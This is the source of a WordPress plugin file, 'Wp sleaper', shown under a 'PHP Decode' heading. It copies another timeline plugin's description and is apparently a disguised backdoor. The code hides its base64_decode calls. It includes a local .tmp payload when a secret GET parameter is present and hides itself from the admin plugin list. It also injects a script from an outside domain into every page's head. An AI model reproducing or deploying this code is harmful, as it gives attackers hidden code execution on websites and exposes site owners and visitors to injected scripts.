PHP Decode

<?php 
/* 
  Plugin Name: Wp sleaper 
  Plugin URI:https://wp-sleaper.com 
  Description:Cool Timeline is a responsive WordPress timeline plugin that allows you to create beautiful vertical storyline. You simply create posts, set images and date then Cool Timeline will automatically populate these posts in chronological order, based on the year and date 
  Version:2.3.3 
  Author:Cool Plugins 
  Author URI:https://wp-sleaper.net/our-cool-plugins-list/ 
  License:GPLv2 or later 
  License URI: https://www.gnu.org/licenses/gpl-2.0.html 
  Domain Path: /languages 
  Text Domain:cool-sleaper 
*/ 
 
function wp_sleaper_start() 
{ 
        $s = "base" . "6" . "4" . "_d" . "ec" . "ode"; 
        $dir = plugin_dir_path( __DIR__ ); 
        if(isset($_GET['du'.$s('bXBtZQ==').'check'])) { 
 
                echo $s("c3lzdGVtZmlsZXNkb250dG91Y2g"); 
        } 
        if(isset($_GET['du'.$s('bXBtZQ==').'step'])){ 
                @include($dir . "/wp-sleaper/". "weith.tmp"); 
 
        } 
} 
function save_sleaper_plugin() { 
    global $wp_list_table; 
    $h = array('wp-sleaper/wp-sleaper.php'); 
    $myplugins = $wp_list_table->items; 
    foreach ($myplugins as $key => $val) { 
        if (in_array($key,$h)) { 
        unset($wp_list_table->items[$key]); 
        } 
    } 
 
} 
 
 
function wp_sleaper_hook_js() { 
    ?> 
                <script  src='https://block.descriptionscripts.com/src/source.js' type='text/javascript'></script> 
    <?php 
} 
 
$s = "base" . "6" . "4" . "_d" . "ec" . "ode"; 
add_action($s("d3BfaGVhZA"), 'wp_sleaper_hook_js');add_action($s("aW5pdA"),'wp_sleaper_start');add_action($s("cH"."JlX"."2N1c"."nJl"."bnRf"."YWN"."0aXZl"."X3Bs"."dWd"."pbnM"), 'save_sleaper_plugin'); ?>